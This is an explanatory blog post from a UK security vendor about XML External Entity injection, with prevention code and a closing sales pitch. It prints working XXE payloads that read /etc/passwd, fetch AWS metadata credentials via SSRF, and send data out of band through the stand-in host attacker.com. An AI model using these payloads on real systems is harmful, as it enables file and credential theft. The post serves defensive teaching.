Technical9 min read5 October 2026

What Is XXE Injection? XML External Entity Attacks Explained | Yrzo AI

XXE injection lets attackers read server files and perform SSRF via malicious XML. Learn how XXE works, real examples, and how to prevent it in UK web apps.

By Yrzo AI — UK cybersecurity specialists

What Is XXE Injection?

XML External Entity (XXE) injection is a web security vulnerability that targets applications which parse XML input. When an attacker can control the XML that a server processes, they can use a specially crafted payload to make the server read files from its own filesystem, perform server-side request forgery (SSRF) attacks against internal systems, or in some configurations, achieve remote code execution.

XXE is listed in the [OWASP Top 10](/blog/owasp-top-10-explained-uk-businesses) because it's both widespread and severe. Applications that accept XML from users without properly configuring their XML parser are vulnerable — and in practice, a surprising number of systems still accept XML in places developers don't immediately think of, including document uploads, SOAP API endpoints, SVG file parsing, and PDF generation libraries.

Understanding XML and External Entities

To understand XXE, you first need to know what XML external entities are and why they exist.

XML is a markup language used to encode data. Within an XML document, a Document Type Definition (DTD) can define custom entities — essentially shortcuts that the parser replaces with a value when it encounters them. For example:

```xml <?xml version="1.0"?> <!DOCTYPE note [ <!ENTITY greeting "Hello, World!"> ]> <note>&greeting;</note> ```

When parsed, `&greeting;` is replaced with the string `Hello, World!`. This is an internal entity — perfectly legitimate, widely used.

External entities work the same way, except instead of defining the value inline, they reference an external resource:

```xml <?xml version="1.0"?> <!DOCTYPE note [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]> <note>&ext;</note> ```

When a vulnerable XML parser encounters this, it fetches the content of `/etc/passwd` on the server's filesystem and substitutes it into the document. If your application then returns that XML content to the user — in an error message, an API response, or a rendered document — the attacker just read your server's password file.

A Classic XXE Attack Walkthrough

Imagine a web application that accepts XML-formatted invoices for processing. An attacker intercepts that request and replaces the body with:

```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE invoice [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <invoice> <id>&xxe;</id> <amount>100.00</amount> </invoice> ```

If the XML parser is misconfigured to allow external entities, and the application reflects the invoice ID back in the response, the response contains the full contents of the server's `/etc/passwd` file.

On Linux systems, `/etc/passwd` reveals all user accounts on the system. More dangerously, an attacker might target:

- `/proc/self/environ` — environment variables, potentially including API keys and database credentials - `~/.aws/credentials` — AWS access keys, if the server runs in AWS - Application configuration files at known paths - Private SSH keys at `~/.ssh/id_rsa`

XXE for SSRF: Attacking Internal Networks

Using an `http://` URI instead of `file://`, an attacker can make the server issue HTTP requests to internal resources:

```xml <!DOCTYPE invoice [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <invoice><id>&xxe;</id></invoice> ```

The IP address `169.254.169.254` is the AWS instance metadata endpoint. It's only accessible from within the AWS network — but if your server is running in AWS and the attacker can make your server issue that request, they get back AWS IAM credentials that may have broad permissions. This is exactly the attack vector that led to the Capital One breach in 2019.

Other internal SSRF targets through XXE include internal admin panels on non-public ports, Kubernetes API servers, and internal databases with HTTP interfaces like Elasticsearch.

Blind XXE: When Nothing Is Reflected

In many modern applications, XML is processed but the content isn't reflected back in the HTTP response. This requires out-of-band (OOB) data exfiltration — the attacker sets up an external server they control and crafts a payload that makes the vulnerable server send the exfiltrated data to that server via DNS or HTTP:

```xml <!DOCTYPE invoice [ <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/exfil.dtd"> %dtd; ]> <invoice><id>&exfil;</id></invoice> ```

This technique works even when the application returns no XML content in the response.

Where XXE Vulnerabilities Hide

Developers often think of XXE as a problem with obvious XML inputs. In practice, XXE shows up in less obvious places:

**File upload endpoints** — Applications that parse uploaded DOCX, XLSX, PPTX, or SVG files are parsing XML under the hood. A malicious SVG file with an external entity definition is a valid XXE attack vector.

**PDF generation libraries** — Several PDF libraries that accept HTML or XML input are vulnerable to XXE if not properly configured.

**SAML authentication** — SAML uses XML messages. Vulnerabilities in SAML XML parsing have enabled XXE attacks against SSO implementations, potentially allowing authentication bypass.

**Content management systems** — CMS platforms with import functionality (importing articles, products, or users from XML files) have historically been vulnerable to XXE.

How to Prevent XXE Injection

The fix is straightforward: disable external entity processing in your XML parser.

**Java (DocumentBuilderFactory):** ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ```

**Python — use defusedxml instead of the standard xml module:** ```python import defusedxml.ElementTree as ET tree = ET.parse(xml_input) ```

**PHP:** ```php libxml_disable_entity_loader(true); $doc = new DOMDocument(); $doc->loadXML($xml, LIBXML_NONET); ```

Beyond parser configuration: reject XML that contains DOCTYPE declarations if your application doesn't need DTD functionality, validate XML against a strict schema, and run parsers with minimal system privileges. A [web application firewall](/blog/what-is-a-web-application-firewall-uk) can also detect and block common XXE payloads at the perimeter.

Testing for XXE in Your Application

XXE testing is included in professional web penetration tests. A tester will identify all entry points that accept XML, inject DTD declarations with file references to known local files, test for blind XXE using out-of-band techniques, test SAML endpoints if SSO is in use, and upload crafted SVG and DOCX files to upload endpoints.

If you want to know whether your application is vulnerable to XXE before an attacker finds out, [run a web penetration test through yrzoai.dev](https://yrzoai.dev). Our automated scanner tests for XXE alongside the full OWASP Top 10 and returns a detailed report you can act on.

Summary

XXE injection exploits misconfigured XML parsers to read server files, attack internal systems, and exfiltrate sensitive data. The attack works wherever XML is parsed — obvious API endpoints and less obvious file upload handlers alike. Prevention is clean: disable external entity processing at the parser level and validate all XML input. If you haven't tested your application for XXE, assume it's vulnerable until proven otherwise.

Find out if your website has these vulnerabilities

Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.

Scan your website →